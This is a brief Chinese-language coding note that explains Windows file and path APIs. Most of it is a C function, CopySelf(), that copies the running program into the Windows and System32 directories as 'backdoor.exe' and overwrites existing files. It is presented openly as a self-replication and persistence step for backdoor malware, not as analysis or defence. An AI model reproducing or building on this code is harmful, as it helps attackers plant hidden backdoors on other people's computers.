复制自身程序
获取自身程序路径的api函数
GetModuleFileName( HMODULE hModule, LPTSTR lpFileName, DWORD nSize );
hModule获取自身程序时为NULL
获取windows目录
UINT GetWindowsDirectory( LPTSTR lpBuffer, UINT uSize )
获取系统目录(system32)
UINT GetSystemDirectory( LPTSTR lpBuffer, UINT uSize );
复制文件
CopyFile( LPCTSTR lpExistingFileName, LPCTSTR lpNewFileName, BOOL bFailIfExists );
bFailIfExists为TRUE,若文件已存在则返回,复制失败,为FALSE,文件存在强制覆盖。
void CopySelf(){
char szSelfName[MAX_PATH]={0};
char szWindowsPath[MAX_PATH]={0};
char szSystemPath[MAX_PATH]={0};
char szTmpPath[MAX_PATH]={0};
GetModuleFileName(NULL,szSelfName,MAX_PATH);
GetWindowsDirectory(szWindowsPath,MAX_PATH);
GetSystemDirectory(szSystemPath,MAX_PATH);
/*复制到当前目录下
GetCurrentDirectory(MAX_PATH,szTmpPath);
strcat(szTmpPath,"\\backdoor.exe");
CopyFile(szSelfName,szTmpPath,FALSE);
*/
//复制到window系统目录
strcat(szWindowsPath,"\\backdoor.exe");
strcat(szSystemPath,"\\backdoor.exe");
CopyFile(szSelfName,szWindowsPath,FALSE);
CopyFile(szSelfName,szSystemPath,FALSE);
}